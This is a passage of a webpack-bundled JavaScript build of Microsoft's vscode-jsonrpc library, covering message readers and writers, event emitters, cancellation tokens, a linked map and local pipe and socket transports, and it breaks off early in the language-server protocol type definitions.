exports.NotificationType3 = NotificationType3;
class NotificationType4 extends AbstractMessageType {
constructor(method) {
super(method, 4);
}
}
exports.NotificationType4 = NotificationType4;
class NotificationType5 extends AbstractMessageType {
constructor(method) {
super(method, 5);
}
}
exports.NotificationType5 = NotificationType5;
class NotificationType6 extends AbstractMessageType {
constructor(method) {
super(method, 6);
}
}
exports.NotificationType6 = NotificationType6;
class NotificationType7 extends AbstractMessageType {
constructor(method) {
super(method, 7);
}
}
exports.NotificationType7 = NotificationType7;
class NotificationType8 extends AbstractMessageType {
constructor(method) {
super(method, 8);
}
}
exports.NotificationType8 = NotificationType8;
class NotificationType9 extends AbstractMessageType {
constructor(method) {
super(method, 9);
}
}
exports.NotificationType9 = NotificationType9;
/**
* Tests if the given message is a request message
*/
function isRequestMessage(message) {
let candidate = message;
return candidate && is.string(candidate.method) && (is.string(candidate.id) || is.number(candidate.id));
}
exports.isRequestMessage = isRequestMessage;
/**
* Tests if the given message is a notification message
*/
function isNotificationMessage(message) {
let candidate = message;
return candidate && is.string(candidate.method) && message.id === void 0;
}
exports.isNotificationMessage = isNotificationMessage;
/**
* Tests if the given message is a response message
*/
function isResponseMessage(message) {
let candidate = message;
return candidate && (candidate.result !== void 0 || !!candidate.error) && (is.string(candidate.id) || is.number(candidate.id) || candidate.id === null);
}
exports.isResponseMessage = isResponseMessage;
/***/ }),
/* 7 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/* --------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
* ------------------------------------------------------------------------------------------ */
Object.defineProperty(exports, "__esModule", ({ value: true }));
const events_1 = __webpack_require__(8);
const Is = __webpack_require__(5);
let DefaultSize = 8192;
let CR = Buffer.from('\r', 'ascii')[0];
let LF = Buffer.from('\n', 'ascii')[0];
let CRLF = '\r\n';
class MessageBuffer {
constructor(encoding = 'utf8') {
this.encoding = encoding;
this.index = 0;
this.buffer = Buffer.allocUnsafe(DefaultSize);
}
append(chunk) {
var toAppend = chunk;
if (typeof (chunk) === 'string') {
var str = chunk;
var bufferLen = Buffer.byteLength(str, this.encoding);
toAppend = Buffer.allocUnsafe(bufferLen);
toAppend.write(str, 0, bufferLen, this.encoding);
}
if (this.buffer.length - this.index >= toAppend.length) {
toAppend.copy(this.buffer, this.index, 0, toAppend.length);
}
else {
var newSize = (Math.ceil((this.index + toAppend.length) / DefaultSize) + 1) * DefaultSize;
if (this.index === 0) {
this.buffer = Buffer.allocUnsafe(newSize);
toAppend.copy(this.buffer, 0, 0, toAppend.length);
}
else {
this.buffer = Buffer.concat([this.buffer.slice(0, this.index), toAppend], newSize);
}
}
this.index += toAppend.length;
}
tryReadHeaders() {
let result = undefined;
let current = 0;
while (current + 3 < this.index && (this.buffer[current] !== CR || this.buffer[current + 1] !== LF || this.buffer[current + 2] !== CR || this.buffer[current + 3] !== LF)) {
current++;
}
// No header / body separator found (e.g CRLFCRLF)
if (current + 3 >= this.index) {
return result;
}
result = Object.create(null);
let headers = this.buffer.toString('ascii', 0, current).split(CRLF);
headers.forEach((header) => {
let index = header.indexOf(':');
if (index === -1) {
throw new Error('Message header must separate key and value using :');
}
let key = header.substr(0, index);
let value = header.substr(index + 1).trim();
result[key] = value;
});
let nextStart = current + 4;
this.buffer = this.buffer.slice(nextStart);
this.index = this.index - nextStart;
return result;
}
tryReadContent(length) {
if (this.index < length) {
return null;
}
let result = this.buffer.toString(this.encoding, 0, length);
let nextStart = length;
this.buffer.copy(this.buffer, 0, nextStart);
this.index = this.index - nextStart;
return result;
}
get numberOfBytes() {
return this.index;
}
}
var MessageReader;
(function (MessageReader) {
function is(value) {
let candidate = value;
return candidate && Is.func(candidate.listen) && Is.func(candidate.dispose) &&
Is.func(candidate.onError) && Is.func(candidate.onClose) && Is.func(candidate.onPartialMessage);
}
MessageReader.is = is;
})(MessageReader = exports.MessageReader || (exports.MessageReader = {}));
class AbstractMessageReader {
constructor() {
this.errorEmitter = new events_1.Emitter();
this.closeEmitter = new events_1.Emitter();
this.partialMessageEmitter = new events_1.Emitter();
}
dispose() {
this.errorEmitter.dispose();
this.closeEmitter.dispose();
}
get onError() {
return this.errorEmitter.event;
}
fireError(error) {
this.errorEmitter.fire(this.asError(error));
}
get onClose() {
return this.closeEmitter.event;
}
fireClose() {
this.closeEmitter.fire(undefined);
}
get onPartialMessage() {
return this.partialMessageEmitter.event;
}
firePartialMessage(info) {
this.partialMessageEmitter.fire(info);
}
asError(error) {
if (error instanceof Error) {
return error;
}
else {
return new Error(`Reader received error. Reason: ${Is.string(error.message) ? error.message : 'unknown'}`);
}
}
}
exports.AbstractMessageReader = AbstractMessageReader;
class StreamMessageReader extends AbstractMessageReader {
constructor(readable, encoding = 'utf8') {
super();
this.readable = readable;
this.buffer = new MessageBuffer(encoding);
this._partialMessageTimeout = 10000;
}
set partialMessageTimeout(timeout) {
this._partialMessageTimeout = timeout;
}
get partialMessageTimeout() {
return this._partialMessageTimeout;
}
listen(callback) {
this.nextMessageLength = -1;
this.messageToken = 0;
this.partialMessageTimer = undefined;
this.callback = callback;
this.readable.on('data', (data) => {
this.onData(data);
});
this.readable.on('error', (error) => this.fireError(error));
this.readable.on('close', () => this.fireClose());
}
onData(data) {
this.buffer.append(data);
while (true) {
if (this.nextMessageLength === -1) {
let headers = this.buffer.tryReadHeaders();
if (!headers) {
return;
}
let contentLength = headers['Content-Length'];
if (!contentLength) {
throw new Error('Header must provide a Content-Length property.');
}
let length = parseInt(contentLength);
if (isNaN(length)) {
throw new Error('Content-Length value must be a number.');
}
this.nextMessageLength = length;
// Take the encoding form the header. For compatibility
// treat both utf-8 and utf8 as node utf8
}
var msg = this.buffer.tryReadContent(this.nextMessageLength);
if (msg === null) {
/** We haven't received the full message yet. */
this.setPartialMessageTimer();
return;
}
this.clearPartialMessageTimer();
this.nextMessageLength = -1;
this.messageToken++;
var json = JSON.parse(msg);
this.callback(json);
}
}
clearPartialMessageTimer() {
if (this.partialMessageTimer) {
clearTimeout(this.partialMessageTimer);
this.partialMessageTimer = undefined;
}
}
setPartialMessageTimer() {
this.clearPartialMessageTimer();
if (this._partialMessageTimeout <= 0) {
return;
}
this.partialMessageTimer = setTimeout((token, timeout) => {
this.partialMessageTimer = undefined;
if (token === this.messageToken) {
this.firePartialMessage({ messageToken: token, waitingTime: timeout });
this.setPartialMessageTimer();
}
}, this._partialMessageTimeout, this.messageToken, this._partialMessageTimeout);
}
}
exports.StreamMessageReader = StreamMessageReader;
class IPCMessageReader extends AbstractMessageReader {
constructor(process) {
super();
this.process = process;
let eventEmitter = this.process;
eventEmitter.on('error', (error) => this.fireError(error));
eventEmitter.on('close', () => this.fireClose());
}
listen(callback) {
this.process.on('message', callback);
}
}
exports.IPCMessageReader = IPCMessageReader;
class SocketMessageReader extends StreamMessageReader {
constructor(socket, encoding = 'utf-8') {
super(socket, encoding);
}
}
exports.SocketMessageReader = SocketMessageReader;
/***/ }),
/* 8 */
/***/ ((__unused_webpack_module, exports) => {
"use strict";
/* --------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
* ------------------------------------------------------------------------------------------ */
Object.defineProperty(exports, "__esModule", ({ value: true }));
var Disposable;
(function (Disposable) {
function create(func) {
return {
dispose: func
};
}
Disposable.create = create;
})(Disposable = exports.Disposable || (exports.Disposable = {}));
var Event;
(function (Event) {
const _disposable = { dispose() { } };
Event.None = function () { return _disposable; };
})(Event = exports.Event || (exports.Event = {}));
class CallbackList {
add(callback, context = null, bucket) {
if (!this._callbacks) {
this._callbacks = [];
this._contexts = [];
}
this._callbacks.push(callback);
this._contexts.push(context);
if (Array.isArray(bucket)) {
bucket.push({ dispose: () => this.remove(callback, context) });
}
}
remove(callback, context = null) {
if (!this._callbacks) {
return;
}
var foundCallbackWithDifferentContext = false;
for (var i = 0, len = this._callbacks.length; i < len; i++) {
if (this._callbacks[i] === callback) {
if (this._contexts[i] === context) {
// callback & context match => remove it
this._callbacks.splice(i, 1);
this._contexts.splice(i, 1);
return;
}
else {
foundCallbackWithDifferentContext = true;
}
}
}
if (foundCallbackWithDifferentContext) {
throw new Error('When adding a listener with a context, you should remove it with the same context');
}
}
invoke(...args) {
if (!this._callbacks) {
return [];
}
var ret = [], callbacks = this._callbacks.slice(0), contexts = this._contexts.slice(0);
for (var i = 0, len = callbacks.length; i < len; i++) {
try {
ret.push(callbacks[i].apply(contexts[i], args));
}
catch (e) {
// eslint-disable-next-line no-console
console.error(e);
}
}
return ret;
}
isEmpty() {
return !this._callbacks || this._callbacks.length === 0;
}
dispose() {
this._callbacks = undefined;
this._contexts = undefined;
}
}
class Emitter {
constructor(_options) {
this._options = _options;
}
/**
* For the public to allow to subscribe
* to events from this Emitter
*/
get event() {
if (!this._event) {
this._event = (listener, thisArgs, disposables) => {
if (!this._callbacks) {
this._callbacks = new CallbackList();
}
if (this._options && this._options.onFirstListenerAdd && this._callbacks.isEmpty()) {
this._options.onFirstListenerAdd(this);
}
this._callbacks.add(listener, thisArgs);
let result;
result = {
dispose: () => {
this._callbacks.remove(listener, thisArgs);
result.dispose = Emitter._noop;
if (this._options && this._options.onLastListenerRemove && this._callbacks.isEmpty()) {
this._options.onLastListenerRemove(this);
}
}
};
if (Array.isArray(disposables)) {
disposables.push(result);
}
return result;
};
}
return this._event;
}
/**
* To be kept private to fire an event to
* subscribers
*/
fire(event) {
if (this._callbacks) {
this._callbacks.invoke.call(this._callbacks, event);
}
}
dispose() {
if (this._callbacks) {
this._callbacks.dispose();
this._callbacks = undefined;
}
}
}
exports.Emitter = Emitter;
Emitter._noop = function () { };
/***/ }),
/* 9 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/* --------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
* ------------------------------------------------------------------------------------------ */
Object.defineProperty(exports, "__esModule", ({ value: true }));
const events_1 = __webpack_require__(8);
const Is = __webpack_require__(5);
let ContentLength = 'Content-Length: ';
let CRLF = '\r\n';
var MessageWriter;
(function (MessageWriter) {
function is(value) {
let candidate = value;
return candidate && Is.func(candidate.dispose) && Is.func(candidate.onClose) &&
Is.func(candidate.onError) && Is.func(candidate.write);
}
MessageWriter.is = is;
})(MessageWriter = exports.MessageWriter || (exports.MessageWriter = {}));
class AbstractMessageWriter {
constructor() {
this.errorEmitter = new events_1.Emitter();
this.closeEmitter = new events_1.Emitter();
}
dispose() {
this.errorEmitter.dispose();
this.closeEmitter.dispose();
}
get onError() {
return this.errorEmitter.event;
}
fireError(error, message, count) {
this.errorEmitter.fire([this.asError(error), message, count]);
}
get onClose() {
return this.closeEmitter.event;
}
fireClose() {
this.closeEmitter.fire(undefined);
}
asError(error) {
if (error instanceof Error) {
return error;
}
else {
return new Error(`Writer received error. Reason: ${Is.string(error.message) ? error.message : 'unknown'}`);
}
}
}
exports.AbstractMessageWriter = AbstractMessageWriter;
class StreamMessageWriter extends AbstractMessageWriter {
constructor(writable, encoding = 'utf8') {
super();
this.writable = writable;
this.encoding = encoding;
this.errorCount = 0;
this.writable.on('error', (error) => this.fireError(error));
this.writable.on('close', () => this.fireClose());
}
write(msg) {
let json = JSON.stringify(msg);
let contentLength = Buffer.byteLength(json, this.encoding);
let headers = [
ContentLength, contentLength.toString(), CRLF,
CRLF
];
try {
// Header must be written in ASCII encoding
this.writable.write(headers.join(''), 'ascii');
// Now write the content. This can be written in any encoding
this.writable.write(json, this.encoding);
this.errorCount = 0;
}
catch (error) {
this.errorCount++;
this.fireError(error, msg, this.errorCount);
}
}
}
exports.StreamMessageWriter = StreamMessageWriter;
class IPCMessageWriter extends AbstractMessageWriter {
constructor(process) {
super();
this.process = process;
this.errorCount = 0;
this.queue = [];
this.sending = false;
let eventEmitter = this.process;
eventEmitter.on('error', (error) => this.fireError(error));
eventEmitter.on('close', () => this.fireClose);
}
write(msg) {
if (!this.sending && this.queue.length === 0) {
// See https://github.com/nodejs/node/issues/7657
this.doWriteMessage(msg);
}
else {
this.queue.push(msg);
}
}
doWriteMessage(msg) {
try {
if (this.process.send) {
this.sending = true;
this.process.send(msg, undefined, undefined, (error) => {
this.sending = false;
if (error) {
this.errorCount++;
this.fireError(error, msg, this.errorCount);
}
else {
this.errorCount = 0;
}
if (this.queue.length > 0) {
this.doWriteMessage(this.queue.shift());
}
});
}
}
catch (error) {
this.errorCount++;
this.fireError(error, msg, this.errorCount);
}
}
}
exports.IPCMessageWriter = IPCMessageWriter;
class SocketMessageWriter extends AbstractMessageWriter {
constructor(socket, encoding = 'utf8') {
super();
this.socket = socket;
this.queue = [];
this.sending = false;
this.encoding = encoding;
this.errorCount = 0;
this.socket.on('error', (error) => this.fireError(error));
this.socket.on('close', () => this.fireClose());
}
dispose() {
super.dispose();
this.socket.destroy();
}
write(msg) {
if (!this.sending && this.queue.length === 0) {
// See https://github.com/nodejs/node/issues/7657
this.doWriteMessage(msg);
}
else {
this.queue.push(msg);
}
}
doWriteMessage(msg) {
let json = JSON.stringify(msg);
let contentLength = Buffer.byteLength(json, this.encoding);
let headers = [
ContentLength, contentLength.toString(), CRLF,
CRLF
];
try {
// Header must be written in ASCII encoding
this.sending = true;
this.socket.write(headers.join(''), 'ascii', (error) => {
if (error) {
this.handleError(error, msg);
}
try {
// Now write the content. This can be written in any encoding
this.socket.write(json, this.encoding, (error) => {
this.sending = false;
if (error) {
this.handleError(error, msg);
}
else {
this.errorCount = 0;
}
if (this.queue.length > 0) {
this.doWriteMessage(this.queue.shift());
}
});
}
catch (error) {
this.handleError(error, msg);
}
});
}
catch (error) {
this.handleError(error, msg);
}
}
handleError(error, msg) {
this.errorCount++;
this.fireError(error, msg, this.errorCount);
}
}
exports.SocketMessageWriter = SocketMessageWriter;
/***/ }),
/* 10 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
Object.defineProperty(exports, "__esModule", ({ value: true }));
const events_1 = __webpack_require__(8);
const Is = __webpack_require__(5);
var CancellationToken;
(function (CancellationToken) {
CancellationToken.None = Object.freeze({
isCancellationRequested: false,
onCancellationRequested: events_1.Event.None
});
CancellationToken.Cancelled = Object.freeze({
isCancellationRequested: true,
onCancellationRequested: events_1.Event.None
});
function is(value) {
let candidate = value;
return candidate && (candidate === CancellationToken.None
|| candidate === CancellationToken.Cancelled
|| (Is.boolean(candidate.isCancellationRequested) && !!candidate.onCancellationRequested));
}
CancellationToken.is = is;
})(CancellationToken = exports.CancellationToken || (exports.CancellationToken = {}));
const shortcutEvent = Object.freeze(function (callback, context) {
let handle = setTimeout(callback.bind(context), 0);
return { dispose() { clearTimeout(handle); } };
});
class MutableToken {
constructor() {
this._isCancelled = false;
}
cancel() {
if (!this._isCancelled) {
this._isCancelled = true;
if (this._emitter) {
this._emitter.fire(undefined);
this.dispose();
}
}
}
get isCancellationRequested() {
return this._isCancelled;
}
get onCancellationRequested() {
if (this._isCancelled) {
return shortcutEvent;
}
if (!this._emitter) {
this._emitter = new events_1.Emitter();
}
return this._emitter.event;
}
dispose() {
if (this._emitter) {
this._emitter.dispose();
this._emitter = undefined;
}
}
}
class CancellationTokenSource {
get token() {
if (!this._token) {
// be lazy and create the token only when
// actually needed
this._token = new MutableToken();
}
return this._token;
}
cancel() {
if (!this._token) {
// save an object by returning the default
// cancelled token when cancellation happens
// before someone asks for the token
this._token = CancellationToken.Cancelled;
}
else {
this._token.cancel();
}
}
dispose() {
if (!this._token) {
// ensure to initialize with an empty token if we had none
this._token = CancellationToken.None;
}
else if (this._token instanceof MutableToken) {
// actually dispose
this._token.dispose();
}
}
}
exports.CancellationTokenSource = CancellationTokenSource;
/***/ }),
/* 11 */
/***/ ((__unused_webpack_module, exports) => {
"use strict";
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
Object.defineProperty(exports, "__esModule", ({ value: true }));
var Touch;
(function (Touch) {
Touch.None = 0;
Touch.First = 1;
Touch.Last = 2;
})(Touch = exports.Touch || (exports.Touch = {}));
class LinkedMap {
constructor() {
this._map = new Map();
this._head = undefined;
this._tail = undefined;
this._size = 0;
}
clear() {
this._map.clear();
this._head = undefined;
this._tail = undefined;
this._size = 0;
}
isEmpty() {
return !this._head && !this._tail;
}
get size() {
return this._size;
}
has(key) {
return this._map.has(key);
}
get(key) {
const item = this._map.get(key);
if (!item) {
return undefined;
}
return item.value;
}
set(key, value, touch = Touch.None) {
let item = this._map.get(key);
if (item) {
item.value = value;
if (touch !== Touch.None) {
this.touch(item, touch);
}
}
else {
item = { key, value, next: undefined, previous: undefined };
switch (touch) {
case Touch.None:
this.addItemLast(item);
break;
case Touch.First:
this.addItemFirst(item);
break;
case Touch.Last:
this.addItemLast(item);
break;
default:
this.addItemLast(item);
break;
}
this._map.set(key, item);
this._size++;
}
}
delete(key) {
const item = this._map.get(key);
if (!item) {
return false;
}
this._map.delete(key);
this.removeItem(item);
this._size--;
return true;
}
shift() {
if (!this._head && !this._tail) {
return undefined;
}
if (!this._head || !this._tail) {
throw new Error('Invalid list');
}
const item = this._head;
this._map.delete(item.key);
this.removeItem(item);
this._size--;
return item.value;
}
forEach(callbackfn, thisArg) {
let current = this._head;
while (current) {
if (thisArg) {
callbackfn.bind(thisArg)(current.value, current.key, this);
}
else {
callbackfn(current.value, current.key, this);
}
current = current.next;
}
}
forEachReverse(callbackfn, thisArg) {
let current = this._tail;
while (current) {
if (thisArg) {
callbackfn.bind(thisArg)(current.value, current.key, this);
}
else {
callbackfn(current.value, current.key, this);
}
current = current.previous;
}
}
values() {
let result = [];
let current = this._head;
while (current) {
result.push(current.value);
current = current.next;
}
return result;
}
keys() {
let result = [];
let current = this._head;
while (current) {
result.push(current.key);
current = current.next;
}
return result;
}
/* JSON RPC run on es5 which has no Symbol.iterator
public keys(): IterableIterator<K> {
let current = this._head;
let iterator: IterableIterator<K> = {
[Symbol.iterator]() {
return iterator;
},
next():IteratorResult<K> {
if (current) {
let result = { value: current.key, done: false };
current = current.next;
return result;
} else {
return { value: undefined, done: true };
}
}
};
return iterator;
}
public values(): IterableIterator<V> {
let current = this._head;
let iterator: IterableIterator<V> = {
[Symbol.iterator]() {
return iterator;
},
next():IteratorResult<V> {
if (current) {
let result = { value: current.value, done: false };
current = current.next;
return result;
} else {
return { value: undefined, done: true };
}
}
};
return iterator;
}
*/
addItemFirst(item) {
// First time Insert
if (!this._head && !this._tail) {
this._tail = item;
}
else if (!this._head) {
throw new Error('Invalid list');
}
else {
item.next = this._head;
this._head.previous = item;
}
this._head = item;
}
addItemLast(item) {
// First time Insert
if (!this._head && !this._tail) {
this._head = item;
}
else if (!this._tail) {
throw new Error('Invalid list');
}
else {
item.previous = this._tail;
this._tail.next = item;
}
this._tail = item;
}
removeItem(item) {
if (item === this._head && item === this._tail) {
this._head = undefined;
this._tail = undefined;
}
else if (item === this._head) {
this._head = item.next;
}
else if (item === this._tail) {
this._tail = item.previous;
}
else {
const next = item.next;
const previous = item.previous;
if (!next || !previous) {
throw new Error('Invalid list');
}
next.previous = previous;
previous.next = next;
}
}
touch(item, touch) {
if (!this._head || !this._tail) {
throw new Error('Invalid list');
}
if ((touch !== Touch.First && touch !== Touch.Last)) {
return;
}
if (touch === Touch.First) {
if (item === this._head) {
return;
}
const next = item.next;
const previous = item.previous;
// Unlink the item
if (item === this._tail) {
// previous must be defined since item was not head but is tail
// So there are more than on item in the map
previous.next = undefined;
this._tail = previous;
}
else {
// Both next and previous are not undefined since item was neither head nor tail.
next.previous = previous;
previous.next = next;
}
// Insert the node at head
item.previous = undefined;
item.next = this._head;
this._head.previous = item;
this._head = item;
}
else if (touch === Touch.Last) {
if (item === this._tail) {
return;
}
const next = item.next;
const previous = item.previous;
// Unlink the item.
if (item === this._head) {
// next must be defined since item was not tail but is head
// So there are more than on item in the map
next.previous = undefined;
this._head = next;
}
else {
// Both next and previous are not undefined since item was neither head nor tail.
next.previous = previous;
previous.next = next;
}
item.next = undefined;
item.previous = this._tail;
this._tail.next = item;
this._tail = item;
}
}
}
exports.LinkedMap = LinkedMap;
/***/ }),
/* 12 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/* --------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
* ------------------------------------------------------------------------------------------ */
Object.defineProperty(exports, "__esModule", ({ value: true }));
const path_1 = __webpack_require__(13);
const os_1 = __webpack_require__(14);
const crypto_1 = __webpack_require__(15);
const net_1 = __webpack_require__(16);
const messageReader_1 = __webpack_require__(7);
const messageWriter_1 = __webpack_require__(9);
function generateRandomPipeName() {
const randomSuffix = crypto_1.randomBytes(21).toString('hex');
if (process.platform === 'win32') {
return `\\\\.\\pipe\\vscode-jsonrpc-${randomSuffix}-sock`;
}
else {
// Mac/Unix: use socket file
return path_1.join(os_1.tmpdir(), `vscode-${randomSuffix}.sock`);
}
}
exports.generateRandomPipeName = generateRandomPipeName;
function createClientPipeTransport(pipeName, encoding = 'utf-8') {
let connectResolve;
let connected = new Promise((resolve, _reject) => {
connectResolve = resolve;
});
return new Promise((resolve, reject) => {
let server = net_1.createServer((socket) => {
server.close();
connectResolve([
new messageReader_1.SocketMessageReader(socket, encoding),
new messageWriter_1.SocketMessageWriter(socket, encoding)
]);
});
server.on('error', reject);
server.listen(pipeName, () => {
server.removeListener('error', reject);
resolve({
onConnected: () => { return connected; }
});
});
});
}
exports.createClientPipeTransport = createClientPipeTransport;
function createServerPipeTransport(pipeName, encoding = 'utf-8') {
const socket = net_1.createConnection(pipeName);
return [
new messageReader_1.SocketMessageReader(socket, encoding),
new messageWriter_1.SocketMessageWriter(socket, encoding)
];
}
exports.createServerPipeTransport = createServerPipeTransport;
/***/ }),
/* 13 */
/***/ ((module) => {
"use strict";
module.exports = require("path");;
/***/ }),
/* 14 */
/***/ ((module) => {
"use strict";
module.exports = require("os");;
/***/ }),
/* 15 */
/***/ ((module) => {
"use strict";
module.exports = require("crypto");;
/***/ }),
/* 16 */
/***/ ((module) => {
"use strict";
module.exports = require("net");;
/***/ }),
/* 17 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/* --------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
* ------------------------------------------------------------------------------------------ */
Object.defineProperty(exports, "__esModule", ({ value: true }));
const net_1 = __webpack_require__(16);
const messageReader_1 = __webpack_require__(7);
const messageWriter_1 = __webpack_require__(9);
function createClientSocketTransport(port, encoding = 'utf-8') {
let connectResolve;
let connected = new Promise((resolve, _reject) => {
connectResolve = resolve;
});
return new Promise((resolve, reject) => {
let server = net_1.createServer((socket) => {
server.close();
connectResolve([
new messageReader_1.SocketMessageReader(socket, encoding),
new messageWriter_1.SocketMessageWriter(socket, encoding)
]);
});
server.on('error', reject);
server.listen(port, '127.0.0.1', () => {
server.removeListener('error', reject);
resolve({
onConnected: () => { return connected; }
});
});
});
}
exports.createClientSocketTransport = createClientSocketTransport;
function createServerSocketTransport(port, encoding = 'utf-8') {
const socket = net_1.createConnection(port, '127.0.0.1');
return [
new messageReader_1.SocketMessageReader(socket, encoding),
new messageWriter_1.SocketMessageWriter(socket, encoding)
];
}
exports.createServerSocketTransport = createServerSocketTransport;
/***/ }),
/* 18 */
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
"use strict";
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "Position": () => /* binding */ Position,
/* harmony export */ "Range": () => /* binding */ Range,
/* harmony export */ "Location": () => /* binding */ Location,
/* harmony export */ "LocationLink": () => /* binding */ LocationLink,
/* harmony export */ "Color": () => /* binding */ Color,
/* harmony export */ "ColorInformation": () => /* binding */ ColorInformation,
/* harmony export */ "ColorPresentation": () => /* binding */ ColorPresentation,
/* harmony export */ "FoldingRangeKind": () => /* binding */ FoldingRangeKind,
/* harmony export */ "FoldingRange": () => /* binding */ FoldingRange,
/* harmony export */ "DiagnosticRelatedInformation": () => /* binding */ DiagnosticRelatedInformation,
/* harmony export */ "DiagnosticSeverity": () => /* binding */ DiagnosticSeverity,
/* harmony export */ "DiagnosticTag": () => /* binding */ DiagnosticTag,
/* harmony export */ "Diagnostic": () => /* binding */ Diagnostic,
/* harmony export */ "Command": () => /* binding */ Command,
/* harmony export */ "TextEdit": () => /* binding */ TextEdit,
/* harmony export */ "TextDocumentEdit": () => /* binding */ TextDocumentEdit,
/* harmony export */ "CreateFile": () => /* binding */ CreateFile,
/* harmony export */ "RenameFile": () => /* binding */ RenameFile,
/* harmony export */ "DeleteFile": () => /* binding */ DeleteFile,
/* harmony export */ "WorkspaceEdit": () => /* binding */ WorkspaceEdit,
/* harmony export */ "WorkspaceChange": () => /* binding */ WorkspaceChange,
/* harmony export */ "TextDocumentIdentifier": () => /* binding */ TextDocumentIdentifier,
/* harmony export */ "VersionedTextDocumentIdentifier": () => /* binding */ VersionedTextDocumentIdentifier,
/* harmony export */ "TextDocumentItem": () => /* binding */ TextDocumentItem,
/* harmony export */ "MarkupKind": () => /* binding */ MarkupKind,
/* harmony export */ "MarkupContent": () => /* binding */ MarkupContent,
/* harmony export */ "CompletionItemKind": () => /* binding */ CompletionItemKind,
/* harmony export */ "InsertTextFormat": () => /* binding */ InsertTextFormat,
/* harmony export */ "CompletionItemTag": () => /* binding */ CompletionItemTag,
/* harmony export */ "CompletionItem": () => /* binding */ CompletionItem,
/* harmony export */ "CompletionList": () => /* binding */ CompletionList,
/* harmony export */ "MarkedString": () => /* binding */ MarkedString,
/* harmony export */ "Hover": () => /* binding */ Hover,
/* harmony export */ "ParameterInformation": () => /* binding */ ParameterInformation,
/* harmony export */ "SignatureInformation": () => /* binding */ SignatureInformation,
/* harmony export */ "DocumentHighlightKind": () => /* binding */ DocumentHighlightKind,
/* harmony export */ "DocumentHighlight": () => /* binding */ DocumentHighlight,
/* harmony export */ "SymbolKind": () => /* binding */ SymbolKind,
/* harmony export */ "SymbolTag": () => /* binding */ SymbolTag,
/* harmony export */ "SymbolInformation": () => /* binding */ SymbolInformation,
/* harmony export */ "DocumentSymbol": () => /* binding */ DocumentSymbol,
/* harmony export */ "CodeActionKind": () => /* binding */ CodeActionKind,
/* harmony export */ "CodeActionContext": () => /* binding */ CodeActionContext,
/* harmony export */ "CodeAction": () => /* binding */ CodeAction,
/* harmony export */ "CodeLens": () => /* binding */ CodeLens,
/* harmony export */ "FormattingOptions": () => /* binding */ FormattingOptions,
/* harmony export */ "DocumentLink": () => /* binding */ DocumentLink,
/* harmony export */ "SelectionRange": () => /* binding */ SelectionRange,
/* harmony export */ "EOL": () => /* binding */ EOL,
/* harmony export */ "TextDocument": () => /* binding */ TextDocument
/* harmony export */ });
/* --------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
* ------------------------------------------------------------------------------------------ */
/**
* The Position namespace provides helper functions to work with
* [Position](#Position) literals.
*/
var Position;
(function (Position) {
/**
* Creates a new Position literal from the given line and character.
* @param line The position's line.
* @param character The position's character.
*/
function create(line, character) {
return { line: line, character: character };
}
Position.create = create;
/**
* Checks whether the given liternal conforms to the [Position](#Position) interface.
*/
function is(value) {
var candidate = value;
return Is.objectLiteral(candidate) && Is.number(candidate.line) && Is.number(candidate.character);
}
Position.is = is;
})(Position || (Position = {}));
/**
* The Range namespace provides helper functions to work with
* [Range](#Range) literals.
*/
var Range;
(function (Range) {
function create(one, two, three, four) {
if (Is.number(one) && Is.number(two) && Is.number(three) && Is.number(four)) {
return { start: Position.create(one, two), end: Position.create(three, four) };
}
else if (Position.is(one) && Position.is(two)) {
return { start: one, end: two };
}
else {
throw new Error("Range#create called with invalid arguments[" + one + ", " + two + ", " + three + ", " + four + "]");
}
}
Range.create = create;
/**
* Checks whether the given literal conforms to the [Range](#Range) interface.
*/
function is(value) {
var candidate = value;
return Is.objectLiteral(candidate) && Position.is(candidate.start) && Position.is(candidate.end);
}
Range.is = is;
})(Range || (Range = {}));
/**
* The Location namespace provides helper functions to work with
* [Location](#Location) literals.
*/
var Location;
(function (Location) {
/**
* Creates a Location literal.
* @param uri The location's uri.
* @param range The location's range.
*/
function create(uri, range) {
return { uri: uri, range: range };
}
Location.create = create;
/**
* Checks whether the given literal conforms to the [Location](#Location) interface.
*/
function is(value) {
var candidate = value;
return Is.defined(candidate) && Range.is(candidate.range) && (Is.string(candidate.uri) || Is.undefined(candidate.uri));
}
Location.is = is;
})(Location || (Location = {}));
/**
* The LocationLink namespace provides helper functions to work with
* [LocationLink](#LocationLink) literals.
*/
var LocationLink;
(function (LocationLink) {
/**
* Creates a LocationLink literal.
* @param targetUri The definition's uri.
* @param targetRange The full range of the definition.
* @param targetSelectionRange The span of the symbol definition at the target.
* @param originSelectionRange The span of the symbol being defined in the originating source file.
*/
function create(targetUri, targetRange, targetSelectionRange, originSelectionRange) {
return { targetUri: targetUri, targetRange: targetRange, targetSelectionRange: targetSelectionRange, originSelectionRange: originSelectionRange };
}
LocationLink.create = create;
/**
* Checks whether the given literal conforms to the [LocationLink](#LocationLink) interface.
*/
function is(value) {
var candidate = value;
